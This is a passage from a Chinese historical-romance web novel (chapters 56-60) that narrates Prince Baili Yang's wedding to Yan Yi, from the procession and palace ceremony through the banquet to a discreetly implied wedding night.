皇后直到看着阿荧的小身影消失不见才收回视线,转头看向百里漾的目光之中饱含深意。百里漾看到了,知道皇后是何意,可他不太想懂,借着喝茶错开皇后的目光,又觉得这样不好,便开口问道:“阿娘唤儿子进宫有何事吩咐?” “你过几日就要成婚了,叫你进宫是想看看是否还有何处不妥当的地方。”皇后对这桩婚事极为上心,平日里更是花时间与心思盯着婚事筹备的进度的。 百里漾明白皇后对他的用心,很是感动,郑重行礼道:“阿娘已为我处处思虑周全了,并无不妥之处。” 两世为人,他是真将皇后视为母亲的,她给了百里漾一份真挚的母爱,尽自己的全力护着他成长,换了旁人他很难活到现在。他是很庆幸能够成为皇后的孩子的。 “无有不妥便好。”皇后能够分辨出百里漾说这话是否真心,心中那份担忧减去许多。 这桩婚事到底是赐婚,且婚事也算得上仓促。皇后其实好担心他们婚后处不出感情来的。好在前日长女来同她说那日崔栋小两口邀约他们去园子玩耍的情形,长女说:“五郎面皮薄,嘴上不说,心里必是喜欢的。您就把心放回肚子里去。” 皇后当时心中宽慰,过一两日又忍不住将儿子叫来自己亲自看过才算安心。喜欢一个人的情绪是很难藏得住的,至少百里漾在皇后眼中藏不住- 作者有话说:下章就成亲。 第57章 成婚 “这一眨眼你便要成亲了, 当真是时光易逝。成亲之后便是大人,许多事情便不可胡乱任性了。”皇后摸着百里漾的头,既高兴又感慨。 百里漾听着这话, 又看到皇后鬓边掩藏不住的几缕银白,禁不住有些心酸。他如同幼时般依偎在皇后身边,笑道:“儿子再如何长大不也永远是阿娘的孩子么。难道成亲了,阿娘便不管我了么?” “你啊。”皇后一指点戳了下百里漾的额头,“都快成亲的人了还撒娇买痴。”虽然是这么说, 语气之中却尽是慈爱与宠溺, 可见是十分受用的。 时间飞逝, 很快便到了成亲的日子。 八月初六,上上大吉。 整个湛京城之人皆知今日有一件大喜事要发生, 皇帝与椒房之子、一方诸侯王的江都王要迎娶定国公家的长女。帝后对这桩婚事极是重视,负责筹办婚事的有司丝毫不敢有半分懈怠, 力图将婚事办得尽善尽美,使之成为日后人们谈论时赞叹不已的一大盛况。 诸侯王大婚, 一应仪典规制早有章程。成亲当日, 百里漾换上婚服之后须至皇宫太庙祭拜告慰百里氏的先祖, 再拜谢帝后,敬谢养育之恩。 帝后今日亦着盛装,帝王冠冕威严,皇后凤袍威仪。二人并肩而立,看着阶下身着衮冕行三拜九叩之力的百里漾,心中情绪不免起伏激荡。行礼之后,帝后对着儿子皆有训诫之语,这是必然要有的礼仪。再之后,皇帝从仪典官手中拿起一柄玉如意, 交到百里漾的手中,露出笑意,告诉儿子,“去将新妇接回来,我与你阿娘在此等候你们。” 百里漾抬眸,看着身前的父母双亲,双手接过玉如意,郑重点头,“阿爹阿娘,我去了。” 迎亲的队伍比崔栋成亲那日的还要浩荡壮观。身穿红甲的卫士在前面开道,道路两旁有金吾卫执戟维持秩序,仪典官跟随在侧,手执御赐玉如意。跟随的乐师亦一路鼓奏礼乐。 百里漾骑在被精心装饰过的高头大马之上,看着道路两侧人头攒动只为一观盛况的百姓,听着耳边不绝的喝彩道贺之声,对于自己今日成婚从一种不真实感变成了现在真正双脚落地的感觉。他今日是真的大婚了,他在迎娶一名女子的路上。 成亲是两个人的事。百里漾想到今日这场盛大的婚礼之中不止他一个主角,另一个主角还在定国公府等着他去接她,心中不由涌起激动与喜悦。他脸上洋溢着笑容,应着周边百姓的道贺声招手。 迎亲队伍从江都王宅出发,往定国公府去。两座府邸的主人不是皇帝亲子就是倚重的国之重臣,故而两府皆距离皇城很近,相互之间的距离并不算远。百里漾带着迎亲队伍的一群人一路吹吹打打不到一个时辰就来到了定国公府门前。 “来了来了,迎亲队伍来了。”定国公府张灯结彩,府门大开,门前聚集了一大批国公府的亲朋好友。此前被打发去看迎亲队伍何时来的人远远地望见队伍拐进国公府所在的这条街,当即狂奔回来报信,让这边的人准备好。 百里漾来到定国公府门前时,被眼前乌泱泱的一群人这阵势稍惊了下,但也很快镇定下马,领着迎亲的人往府门走来。他入府门倒是不难,大家热热闹闹、客客气气地将他迎了进去,倒没有受到如崔栋迎亲时的例行为难。 究其原因,他不是一般的新郎官,大家都要顾忌着他的身份,不至于太过刁难他,但也真的不会一点为难都没有。时下婚姻嫁娶,女方这边要通过刁难一番新婿来显示对新妇的看重不舍以及对新婿的警告(类似若不好好待他家女儿,绝不使有好果子吃)。 虽然百里漾得以毫无阻碍地进了定国公府的大门,但他也极为上道,一路承受着这些人的道贺,一路将携带的喜钱散与女方的这些亲友。喜钱备的份量很足,亲友们接到喜钱,感受到里面的份量,连连喊道:“新郎大气,新妇将来有福气。”气氛闹腾而热烈。 百里漾被一路簇拥着到了新娘的闺房之前,这次在门前却不得入了。定国公次子颜青梧率人挡在闺房前,先是同百里漾行礼,随后道:“我父有言,七娘吾女,自幼养于膝下,素珍之爱之。今日七娘出嫁,父兄与我皆不舍。大王若娶,请过此关。” 早知此行接亲不会一直顺遂,百里漾对此已有心理准备。人家自小如珠如宝呵护在手心的女儿要嫁入你家,自此成为你家的人,你不受些刁难、展示一番决心如何能让女方家安心将女儿送交到你手上。何况嫁他便是嫁入了天家,不比寻常人家,更需要他展示愿意呵护新妇的决心。 百里漾上前抱拳道:“但凭吩咐。” 如同前不久崔栋接亲时能文善武的傧相呼喊来一群助阵壮声势,此刻百里漾身边的人也不少,有人喊着,“有什么考验招数快快使出来罢,我们新郎官着急,迫不及待要接新娘回去拜堂成亲了。” 他这么一喊,身边一大群人呼应附和,声浪极高,百里漾自己听着都觉得脸上的热意就要冲上颅顶了。好在出发之前他也脸热过一阵,对着镜子发现并不如何明显,否则若是叫人发现他羞红了脸,还是挺令人觉得难为情的。 他正庆幸,谁知道女方亲友那边的女眷里不知道谁突然喊了一声,“快看啊,新郎官脸红了。”一言引得百里漾直接被全场瞩目,要是脑门能够冒烟,他想他已经被蒸熟透了。 闺房之外热闹的声音持续不断地传进来,新娘即将成妆。天不亮时,颜漪便被叫起梳妆打扮了。她要嫁的人身份极其尊贵,自然这场婚礼也会无比的隆重。成婚所用的礼服是与诸侯王同等规格的,厚重而大气端严,穿在颜漪身上,独有一份别致的气韵。 曹氏今日亦着喜服,她正在为女儿的妆容做最后的收尾。看着成妆之后更显容色动人的女儿,又听着外面热闹得声音,曹氏心中突然很不是滋味。她的女儿今日要嫁人了,既高兴又不舍。待迈出这道门之后,女儿就是别人家的媳妇了。而女儿嫁的又是镇守一方的诸侯王,成亲以后就要随夫婿返回封地,日后母女相见不知要到何年何夕。 这般想着,曹氏不由红了眼眶,眼泪即将落下来时,她连忙用帕子拭去,说道:“这大喜的日子,应该高兴才是。” “阿娘。”颜漪轻唤了一声。她知道母亲在担忧不舍,自己此刻内心也不平静。她现下厚重的礼服与繁复的妆容在身,不好用太大的动作,便伸出手握住了曹氏的,劝慰道:“您不必为女儿担忧,我回过得还很好。江都王会是一个良人的。” 外面热闹欢腾的声音时时在耳边响起,在一群算得上是嘈杂的声音之中,她间或听到了百里漾断续的声音。颜漪想起与百里漾为数不多的几次相见,她能够确信百里漾真的与众不同,他看自己的眼神有欣赏、赞叹,澄然透彻,半分污浊都不曾沾染。嫁予这样的男子,对她来说已然是最好的选择了。 闺房之外,百里漾正在引弓射绣球。这便是定国公府给他设的关卡,过了就能够入得闺房接到新娘。虽然颜青梧放话将绣球射下才能进门,但这桩婚事毕竟是圣旨赐婚,定国公府还真不至于不让百里漾接走新娘,故而这关设得足够精巧。 距百里漾六十步之外立起了一个类似辕门、以红绸装饰的木门,顶上的横木中间位置以红绳向下悬挂一只大红绣球,但在红绳与绣球之间贯连着一只约碗口大小的玉环。百里漾要做的就是用箭射断玉环中间的红绳,从而射落绣球。六十步的距离不算很远,可要求射断红绳却又增加了难度。 “大王,请吧。”颜青梧伸手一指旁边仆从手捧的托盘上呈放的弓箭和箭矢。 这一关于百里漾来说并不难,在场之人大多都听说过他一回湛京就在越国长公主的游园会上与顾晟开比箭的胜绩。他深吸口气,朝着颜青梧抱拳后拿过弓矢,动作无比利落,直接拉弓搭箭,对准了那玉环中的红绳,放弦。箭矢飞出,正中红绳,绣球直直掉落下来,被早就等候在下面的人直接接住,欢呼着跑过来送到百里漾的手里。 这下没有人再拦在百里漾面前,身边的人叫喊着,“接新娘,快去接新娘啊。”簇拥着百里漾往闺房靠近。场面随之再一次欢腾起来。 “新郎过来了。”闺房之内的人亦时时关注着外面的动静,见一大群人朝着这边过来了,忙跑回内室报信。她前脚进来,后面热热闹闹地一群人就簇拥着百里漾进来了。 百里漾一眼就看见了盛装打扮的颜漪,忍不住呼吸为之一滞。颜漪手执一柄合欢扇遮住了面部,正面看去他也只能看见因隐约露出来的莹白面部。他知道颜漪平日的样貌就很美,,盛装之下的模样也不知是如何的动人。 新郎对着拿着合欢扇的新娘都能够看呆了,周围人见状不由轻笑出声。笑声将百里漾从发愣中唤回了神,意识到自己做了什么,不由得又是一阵脸上发红。大概脸皮真的是练出来的,这一路过来他都不知道被多少女眷笑话过了,这会已经开始浑然不怕了。 第58章 婚礼 “新郎官傻愣着做什么, 快吟唱却扇诗啊。”饶是百里漾觉得自己已经练出了一点脸皮了,周围的女眷们依旧可以观察很多体现他青涩、傻愣愣的细节,自己笑作一团。 如今百里漾与颜漪面对面, 中间隔着一丈的距离,互相都给一大群人簇拥着,周围的人都在起哄着让新郎吟唱却扇诗。 却扇是迎亲过程中的一环,百里漾前世时也曾听说过这一婚礼礼仪,细致的内容那时没有研究过, 不知道与大衍这边的是否一致。按照大衍这边的婚俗礼仪, 新娘在闺房之中梳妆打扮, 待成妆之后以一面上有并蒂花开绣面的团扇遮挡面部。新郎来到闺房接新娘时,在亲朋好友的见证之下吟唱却扇诗, 直到新娘愿意将团扇也就是合欢扇拿下来为止。也只有这样,新郎才能真正将新娘从娘家接走。 前几日朝廷派来的礼仪官在为百里漾讲解整个婚礼的流程时自然也说过“却扇”一礼。百里漾当时被礼仪官说的各种繁复的礼仪闹得头昏脑乱, 听到此处时脑子突然岔开了思绪,觉得这“却扇”很好, 有这一道流程, 至少双方在拜堂成亲之前都不会弄错人, 即便成婚双方在此之前彼此都不认识,但周围人却不会认不出来。这样就避免了出现新郎或者新娘换人的突发情况。 却扇诗也是早早备了好多首的。百里漾整理了仪容仪表,抬手朝眼前的颜漪微微躬身做礼,紧接着开始吟唱却扇诗。四周之人因为他的动作而忍不住小小地惊呼了一声。在百里漾吟唱到第三首之时,双手执扇的颜漪终将合欢扇从面前移开,露出了真容。 众人齐齐欢呼着“般配”之语,称赞他们两个是郎才女貌、天作之合。在这片洋溢着喜悦且热闹的气氛里,婢女拿来红绸带,百里漾与颜漪一人牵住了红绸带的一端。众人见状纷纷让开道, 百里漾便牵着颜漪走出闺房。 闹腾了这么一阵,百里漾终是接到了颜漪。在离开定国公府之前,新人还需要拜别父母。拜别曹氏之后,新娘登车,礼乐重新奏响,迎亲队伍开始朝着皇宫的方向进发。 去时与回时的心情又有些许不大一样了。百里漾端坐在高头大马上,围观看热闹的百姓不断发出热烈的恭贺之声,比去接亲时更加热情洋溢。这次接到新娘后,迎亲队伍中有人一路不断地朝两侧抛洒新铸的喜钱,意思是天家有喜事,要与民同庆。 不知怎么的,越是靠近皇宫,百里漾便越是紧张。他不知道此时坐在婚车之内的颜漪心情如何,是如同他一般的紧张、喜悦,还是怀揣着对未来的忐忑、担忧。他想要回头去看,哪怕明知有婚车挡着他不可能见到里面的颜漪,但这是大街上,他的一举一动皆有旁边的礼仪官指导,提醒让他不要失态。 这次的大婚仪式选在清泰殿中举行。这座宫殿向来是天家用作举行一些较为重大仪式的地方,诸如帝后圣寿接受臣子朝拜、皇嗣们的加冠礼以及婚礼等等,但因为高皇帝定下的就封之制的原因,皇帝的子嗣之中在这座宫殿中举行过婚礼的也就是太子以及定安王了,而举行过加冠礼的只有太子一人。 清泰殿远看宽阔宏伟,换算一下差不多是百里漾前世时大半个足球场那般大。大殿前方是一条长长的步道,两侧皆有手持长戟佩红甲红饰的甲士,婚车进入步道,在殿前台阶前停下。喜童上前将婚车之内的新人扶下落地,随后将系着红绣球的绸带重新给两人执上一端。 迈上台阶,清泰殿便近在眼前。素日里厚重的殿门在今日齐齐打开,守卫殿门的郎将肃立在前。从外向里一眼望去便可见殿内顶端正中央的位置之上设有一极宽大的宝座,如今皇帝与皇后已然端坐其上。从殿门向里一直到陛阶之前的左右两侧皆肃立着朝臣与命妇,他们的品级不低,三品以上的大臣和命妇才能在殿内。 此时的百里漾重新换上了衮冕,头戴九旒冕,这乃是诸侯王制式的婚服。大衍以黑色为尊,衮服更是以玄色为底,上有九章之纹,以金丝织就。胸前悬挂组玉,以金镶玉带束腰,戴青龙佩,腰间更是配有一柄二尺余的玉剑作为装饰,瞧着就极为端庄有仪又俊朗不凡,容仪令人侧目。 按礼制,衮冕是所有礼服最为庄严隆重的一种,即便是已经成为一方诸侯王的百里漾一年之中穿着的次数都极少。但今日是他迎娶王妃的日子,一生之中最为重要的时刻之一,再怎么隆重都不为过。 从百里漾与颜漪进入皇宫之后,礼乐一直在奏响。每当他们越过一道宫门,礼乐也随之变化。如今到了清泰殿前,奏响的礼乐曲调明显变得更加庄肃。 在这场婚礼之中,负责婚仪指导的礼仪官便足足有十数名,每到一处便有新的礼仪官接上,引导礼仪的进行。至清泰殿外时,礼乐止,礼仪官唱礼道:“新人至!” 这一声是叫给殿内的人知晓的。 不多时,殿内的礼仪官的声音传来,“陛下有令,新人进殿。” 候立在殿外的百里漾与颜漪在礼仪官的引领之下手执着挂有大红彩球的红绸带并肩缓步进入了清泰殿内。踏着铺在坚实平整的地砖上绣有寓意吉祥图案的地毯,越过左右躬身齐齐参拜的大臣与命妇,径直走到了距离宝座阶下三丈远的地方。 殿中之人皆肃穆。百里漾能够清晰地感知到有数不清的目光落在他与颜漪的身上,此刻他们就是全场瞩目的焦点。他不想去探究那些人看他的目光之中带着什么样的情绪,因为他从迈入大殿的那一刻开始耳边便只剩下了三种声音,一是礼乐声,二是他与颜漪迈进的脚步声,三则是自己胸腔之中“砰砰砰”的心跳声。 两辈子加起来,这还是他头一回成亲,说不紧张是假的。可如今衮冕在身,冠冕珠帘垂下,众目睽睽,不能有别的动作,只能昂首挺胸大步朝前迈去。 到了陛阶下的这个位置,左右之人便不再是大臣与命妇。左侧是太子与太子妃、栎阳长公主还有越国长公主之座。右侧则是定国公夫人曹氏,她是江都王妃的母亲,故在此有一坐席。而本来作为王妃父亲的定国公也该列席,只可惜他奉皇命镇守边关,重任在身,不能也赶不回来参加女儿的婚礼。 宝座之上,帝后看着一对瞧着就无比般配的新人朝他们走来,相视一笑,面上齐齐露出满意与欣慰之色。 吉时到,礼仪官从阶下走出,手持圣旨,展开,除帝后外殿内之人皆跪下。礼仪官开始宣读皇帝给新人赐婚的圣旨,之后便是一篇赞扬两人如何般配、祈愿神明给予他们这段婚姻祝福的贺词,充满了溢美之词。 再之后,便是拜堂了。在帝后、以及这满殿王公、公卿及命妇的注目之下,百里漾与颜漪开始行礼。先是面朝殿外,礼拜天地,然后是叩拜帝后,最后才是夫妻对拜。除了最后的拜礼,其余皆是跪拜,并拜三拜。 到了这里,礼仪还没有结束,还有很重要的一环——册礼。 天家娶亲,到底是不同寻常。颜漪除了嫁给百里漾这个人成为百里氏的儿媳之外,她还成为了江都王的王妃。王妃者,正一品。故而在拜礼之后,还要授王妃印绶,正式确定她江都王妃的身份。这一项是由皇后亲授的。另外,宗正也列席婚礼,在礼成之后,将颜漪的名字加入到百里氏的玉牒之中,标志着她正式成为百里氏家族的成员。 皇后自宝座上下至颜漪身前,身旁的掌宫令亦跟随在她身后,手捧着呈放着江都王妃印绶的托案。皇后看着身着王妃规制的礼服,眼里的笑意很深,唇角也扬起弧度,在礼仪官念了册文之后,从托盘拿起印绶,交到了颜漪手中。她先是按照流程说了一些诫勉的话,而后语气变得轻柔,“日后你们便是夫妻一体,望尔等能够倾心相待、相互扶持。” 这便是皇后身为一个母亲对孩子最真诚的祝愿了。 颜漪郑重躬身拜下,“儿臣谨遵殿下教诲。” 百里漾听得眼睛一热,眼眶瞬间变得有些红,但他还记得这是在清泰殿上,众目睽睽之下,他忍住了,同颜漪一同拜谢皇后。 在这些礼仪结束之后,新人拜别帝后,登车朝着江都王宅而去。按照高皇帝定下来的规矩,皇嗣的成婚之礼是在清泰殿举行,婚宴则是在皇嗣离宫开府后的宅邸之中进行。若是在宫中进行,那边是储君才能有的规格和待遇了。因而百里漾与颜漪成婚的今日最后还是要回到江都王宅,这里才是属于他们的家。 那些要前来参加婚宴的王室宗亲、公卿大臣们亦要往江都王宅来庆贺新婚。而在江都王宅的婚宴之上,气氛就活泼欢快多了。 照例新郎要去宴席上招呼客人。百里漾在吩咐了婢女好生照顾王妃之后,换了一身简便的礼服便去了前院。 前院开了许多席,前来道贺的人很多,一见到百里漾出现便齐齐恭贺他新婚之喜,还来了一群人过来要敬酒。这是一群“熟人”。之前崔栋成亲时去参加婚宴的这一批人大部分也都来到这场婚宴之上,还要加上定国公府这边的亲朋好友。 第59章 大婚 很好, 这次婚宴又将之前的那一群武将武官们给凑到了一起。 百里漾见到这帮人就不由得眼前一黑。好在比较庆幸的是,这些人没有那么大的胆子敢让百里漾醉着进洞房。谁不知道帝后对这桩婚事的看重,何况他们也不敢去惹定国公啊, 这可是他的嫡长女的大婚之日,若是因为他们让新婚之夜新郎官醉得不省人事,怕不是等着挨收拾一顿。 于是这帮大老粗们在给百里漾敬酒时变得尤其矜持与斯文,手里的酒杯换成了茶杯大小,一个个宛若手里捏了根绣花针, 偏嘴里大嗓门洪亮地喊着, “恭贺大王新婚之喜, 祝大王与王妃夫妻恩爱,早生贵子, 生他十个八个的大胖小子。” “……”百里漾听着有种额头想狂冒汗的感觉。 十个八个的倒也不用生这么多。他更想要香香软软的可爱小闺女来着,他与颜漪的相貌都不差, 他们若是有孩子,孩子一定从小就特别的软萌可爱、聪慧活泼。而很快意识到自己不经意就顺着他们的话想了什么的百里漾不由得面上发红, 而今夜就是洞房花烛之夜……脸上的温度只觉得愈发高了。 这些人对着百里漾只是敬酒走个过场, 但对着别人可就不会这样轻易放过了, 而这个“别人”就是崔栋。百里漾大婚,崔栋忙前忙后地也帮了不少忙。至婚宴上,顾忌着百里漾身份高敢灌他酒的人并不存在,太子与栎阳长公主可都在旁边盯着呢,谁敢放肆? 崔栋拍着百里漾的肩膀道:“还说让我替你挡酒呢,你瞧瞧,这哪有我的用武之地?”他此刻喝了不少酒,都是方才与他回湛京之后重新联络或者是新认识的小伙伴在宴席上勾肩搭背喝的,他酒量好, 到目前为止已经干趴两三个了。 “我现有一句良言给你。”百里漾余光已经瞥见了不远处的那一群武官武将们正两眼放光像是在寻找猎物,似乎他们已经发现他身边的崔栋了。他看向崔栋的目光之中充满了怜悯,“” “什么?”崔栋对百里漾的话完全摸不着头脑,对即将到来的“危险”根本毫无所觉。他不去管百里漾说了什么,扯着百里漾走到一处角落里,从袖子掏啊掏的,动作有些不利索,“我有一样好东西要给你。” 百里漾狐疑地看着,这时候了还能有什么好东西给他,莫不是人已经喝醉了罢?关键的是这货一边掏袖子一边还警惕地张望四周,更像在做什么见不得人的坏事了。百里漾不想理他,刚要转身走,崔栋已经把东西拿出来并无比迅速地塞到了他的手心里。 百里漾摸到了一点丝滑柔软的感觉,低头一看,竟然是一张被折叠起来的绢布。他觉得惊奇,崔栋给他这个东西做什么,他隐约看到里上面有墨色的印记,是文字、图案?这时候并不流行用纸张作为文字的载体,多是用竹简或者布帛,但后者价格较为昂贵,一般人用不起。百里漾和崔栋他们自然是用得起的。 不过,崔栋到底想干什么? 崔栋眯着眼睛往四周打量侦查了一番,见有人似乎朝着这边走过来,他赶紧压低声音说道:“这东西你赶紧看看,临时抱佛脚总比不抱的好。往日里你不肯要,这会儿你总不能拒绝了吧?” 瞧着崔栋这般鬼鬼祟祟、形容猥琐的姿态,配合着这话,百里漾忽然有种不祥的预感,他知道崔栋塞给的这东西是什么,顿时黑了脸,手上也觉得烫手得很,直接给他扔回去,“我不要,你给我拿回去。” “怎么能不要呢?”崔栋急了,欲凑近了在百里漾耳边说话,被百里漾一巴掌抵远了,他还不肯放弃,还想凑过来,“以往你就不爱亲近女子,那方面一点经验也无。这要是入了洞房……那什么不是麻烦了么?” 崔栋之前就惦记着这件事,可越是临近婚事,百里漾就越是繁忙,有时候都找不到人影,他自己也有一些事情绊住了脚,然后就忘记了。今日百里漾大婚,他记起来了,想着在人进洞房之前给出去。 百里漾咬牙切齿,低喝道:“闭嘴。还有,我会!”没见过猪肉还没见过猪跑么?虽然前后两辈子加起来确实没有实战经验,但他在前世好歹也是受过一些那方面的系统教育的,也不至于真的把他当无知小白。 “你会?!”崔栋声音顿时拔高了一个度,吓得百里漾恨不得直接拿酒壶塞他嘴里算了,扭头就走,理他做甚。崔栋还想再追,但百里漾作为今日婚宴的焦点,一离开这边就有人过来向他敬酒了,东西是彻底不好给出去了。 “贤侄,原来你在这里啊,可让我们好找啊。”崔栋刚走两步要回到宴席上,迎面就被一群彪形大汉拦住了去路,他们面上满是热情,上来就要与崔栋勾肩搭背,万分豪迈道,“上回在你的婚宴上与你喝酒可是痛快,至今想来还是意犹未尽。那时候不好耽误你,现下可好了。走,与叔叔伯伯们去一醉方休。” 崔栋眨了眨眼睛,忽然想到百里漾之前说的“良言”,原来他那会儿就看到这群人在寻自己了。这时候再拔足而逃是来不及了,只能接受现实。崔栋自婚宴之后看到这群人就有点头皮发麻。往日他自诩酒量过人、千杯不倒,但在这些叔伯面前根本就不够看的。他是真的喝不过这些不知道在酒缸里泡了多少年酒腻子。 “照我看咱们这么多小辈里就数栋哥儿最合我老魏的脾气了。上次大柳家的儿郎,志哥儿,那酒量是真不行,半坛子不到人就倒了,没继承到大柳你的风范啊。” “你个大老粗懂什么。人家志哥儿从小读书,那就什么来着,文质、对就是那个文质彬彬,儒雅得体的。” “我是不懂。啧啧,还是得羡慕大柳,四个儿子,两个都会读书。你再看看我家那六个小崽子,拿起书本就喊头痛,宁愿去校场练四五个时辰都不肯读书。” “啧啧,我说你个魏大头,说你胖你还喘上了。有这么炫耀自家儿子的么?” 一群人吵吵闹闹的,将婚宴的气氛推向了高潮。不过这些已经与百里漾没有关系了,招呼了一圈婚宴上的客人之后,他便退下了。席上无人敢灌他酒,但人家来道贺敬酒他都要小酌一杯以示感谢。一圈转下来,他亦喝了不少。 不过新郎官的酒里掺水是基本操作,这种事情就是百里漾不说底下人也会帮着去做的。看着百里漾将解酒汤一饮而尽,何光宴由衷贺道:“臣贺大王新婚大喜,愿大王与王妃并蒂连理,永结同心,福乐延年。” “近来辛苦你了。”百里漾说道。 何光宴作为此次随他上进岁贡的江都属臣,入了江都王宅之后干的也都是家令的活。前有岁贡,后有他大婚,连轴转似的忙得脚不沾地,很是辛苦。 “此乃臣分内之事。”何光宴口称“不辛苦”,面上是一派真切的笑容,“大王娶得王妃,我们心中皆无比欢喜。如此吉时良辰不可辜负,臣便告退了。” 寝房就在不远处,百里漾抬眼望去,内里通明的灯火将檐下台阶都映照出了一地的红。想到里面正坐着他的新娘,百里漾眼中透出几分喜色,欲抬步过去却闻到了自己身上传来的酒气,不由嫌弃,转身去了浴房。 仔细将自己洗干净之后,百里漾重新出现在寝房之前,迈步过去。他的动静早被新房的侍女发现,在他进来之前忙入内向王妃报知,寝房内的气氛瞬间变得紧张起来。虽是紧张,可人人脸上都是洋溢着喜悦的。 坐在百子帐内的颜漪听到愈来愈近的脚步声,藏在衣袖下的手不由得捏紧了,她面上还算镇定,在百里漾踏入房门时起身,“妾恭迎大王。” “不必多礼。”百里漾伸手稳稳扶住了颜漪的手腕。碰触到的那一瞬间,两个人都明显地颤了一颤,目光错开了一瞬不敢看对方的眼睛。 周围都是伺候的侍女,百里漾镇定下来,与颜漪一同坐在床榻之上。侍女将准备好的合卺酒双手呈给二人。此处呈放合卺酒的容器很纯朴,将苦葫芦一剖为二,酒置于其中。两人各执一半,身子朝彼此倾去,交缠手腕,饮下了合卺酒。 合卺礼完成后寝房中伺候的侍女在恭贺新婚大喜之后尽皆退下,房中就只剩下了一对新人。不远处的桌面上置着的龙凤双烛燃烧着,间或发出“噼啪”的细小声音在安静的寝房内皆传到了两人的耳中。 百里漾紧张。 这是他头一次与颜漪如此近距离的接触,以往距离最近的一次是在上次游湖时的小舟上,即便是同乘一舟他们也只是各自在一端。他从来没有如此近距离地观察过颜漪的模样,尤其此时靠得近了,两个人之间只有两掌之隔,他便能够看得更加真切清楚了。 百里漾自见到颜漪第一眼时便觉得她好看,如今灯下看美人,更是如此。 成妆之后的颜漪将乌黑光泽的秀发盘起成髻,露出光洁如玉般细嫩的脖颈,一些细碎的青丝散落在上面,让人有种想要上前去拨开的想法。他这才发现她耳下稍后一些位置的颈上竟有一颗圆润可爱的小痣- 作者有话说:晚了一点,不好意思。 第60章 新婚之夜 他看得入迷却不知道被他看的人从一开始的紧张羞涩到无奈。此时此地颜漪很难忽略百里漾直愣愣看着她的目光, 见对方一直不动,她也受限制,只好无奈叫了一声, “大王。” “嗯?”百里漾下意识应声,对上颜漪稍显无奈的目光才知道自己干了傻事,面上一红,觉得有必要说些什么找补一下,尔后抬眼便见到了颜漪满头华丽繁复的头冠和发饰。 按大衍当初定下的礼制, 皇后之数为九, 王妃下一等, 其数为六。故而颜漪发髻上的头冠以及配饰凑足了六龙六凤,造型精致美观, 重量却也绝不容小觑。大婚整整一日,颜漪都戴着这套头冠配饰, 想想都觉得脖子酸痛。 “我帮你把头冠先取下。”百里漾说道。他倾身过去,伸手为颜漪解下沉重的头冠配饰。一开始有些手忙脚乱、不知如何下手, 好在有颜漪指点, 这才顺利地取了下来。 百里漾将头冠放好, 转身回到婚床之上,再次与颜漪面对面。没有了冠饰的固定,颜漪满头青丝如瀑散落,好些垂在腰腹处,或调皮地搭在肩上,映衬着洁白无瑕的脖颈,一黑一白,显出极致的美。 从前百里漾都不知道自己是如此好颜色之人,就这不到一炷香的功夫他就盯着颜漪愣神了两次。为了缓解尴尬, 他轻咳一声,问道:“今日大婚忙碌,可有用吃食?” 在去宴席招呼客人之前,百里漾就有亲自吩咐过婢女照顾王妃这方面的问题。藩王大婚的仪式繁琐,何时举行什么仪式都规划细致。在这种情况下,若无特别吩咐,新娘是很难吃到东西的,这一整日下来,必然会又累又饿。 “在婚宴是已用过了,妾谢大王体贴。”颜漪谢道。仪式繁复消耗体力,身心皆疲累,她一开始惊讶于百里漾做这样的吩咐,转念一想她了解到的百里漾的为人性情又不觉得惊讶了。 这是颜漪今日第二次在他面前自称“妾”了,百里漾知道这在当下是没有问题的,是谦卑的体现。因为即便是夫妻,可君臣之义当先,王妃在诸侯王面前依旧是矮了一头的。可他不喜欢颜漪对着他用这个自称。他们既成了亲,自是夫妻一体,平等相待。 “日后在我面前不要用这个称呼了。”百里漾只是一瞬皱眉又舒展开来,轻柔道,“我们是夫妻不是么?” 颜漪本来因为百里漾突然的皱眉以为他不悦,下一瞬却听到了他这么说,身心在这一刻全然放松下来,心也落到了定处,眉眼间露出的温柔笑意让百里漾仿若看到了山花烂漫盛开,情不自禁朝颜漪靠近过去,撑在被褥面上的手却硌到了什么,重压之下直接破碎发出一道轻微的“咔嚓”声。 “……”百里漾眨眨眼睛有些反应不过来,后知后觉想起按照惯例新婚之时会在新房婚床上面撒上桂圆、红枣、花生之类有吉祥寓意的物什,他看着颜漪,“似乎忘记清理了,叫人进来清理吧。” 颜漪看着这样的百里漾觉得有些好笑,也觉得她们之间的距离拉进了,亲近了许多。她含笑点头,“妾、我也需要去将妆容卸下。”言语之中将自称改了过来。 百里漾心中高兴,随即又盯着颜漪的面容端详了好一会儿才点点头。为新娘上妆之人的手艺很好,颜漪今日面上的妆容化得恰到好处,不仅没有遮掩她本身的美貌,反而令她增添了一种别样的风情,令人见之便眼前一亮,越看越着迷。 侍女皆在寑房外等候传唤,闻听二人有吩咐便进入收拾床榻或伺候王妃卸妆沐浴。 百里漾再进房之前便洗漱沐浴过了,眼下便在房中等候颜漪回来。 桌面上的龙凤红烛相对燃烧着,火苗微微摇曳,不时冒出一点“噼啪”的火花声,它们是要一直燃烧至天亮的,寓意新人白头偕老、日子红红火火。 百里漾想着接下来要发生的事情忍不住脸上发热,心中难免有些忐忑。他是见过猪跑的确实没有错,可到底没有吃过猪肉不是。而今夜之事也是不能免的,这桩婚事的初衷决定了今晚是不能敷衍过去的。 紧张的情绪又重新浮现,百里漾让自己镇定下来,可在见到卸了妆后只着单衣的颜漪心跳直接漏停了一拍,后面的事情也就自然而然、水到渠成了。 天光破晓,雾气还未散去,视野所及皆蒙上了一片白茫茫的朦胧。更夫的梆子敲过五下之后,江都王宅之中陆陆续续开始点亮了灯火。 寝房之外已齐齐列了一行侍女,手上皆端着洗漱的用具以及备好的衣物,只待里面之人吩咐喊进便进入伺候。而在寝房之内没有动静穿出之前,一切都是静悄悄的。 寝房之内,桌上的一对龙凤红烛刚刚尽数燃烧完毕,滴流而下的残蜡凝结在烛盏之中。不远处的床榻之上的两个熟睡的人安安静静的,以一个极为亲密的姿势相拥着。 不知过了多久,相拥的两人中有一人缓缓动了。百里漾率先从熟睡之中醒来,先是意识苏醒了一点,眼皮微动,张合几次后才缓慢睁开,意识慢慢回拢,从混沌之中清醒过来。 睁眼便于朦胧的光亮中看到了满目的大红之色,花了一点时间让他想起了自己身在何处。昨日是他与颜漪的大婚之日,记忆回拢,昨日的经历都慢慢在脑海中回放,从前往定国公府迎亲到婚礼再到最后面的洞房花烛夜,尤其是最后面的种种画面……以及现下怀中拥着的温热柔软的躯体。 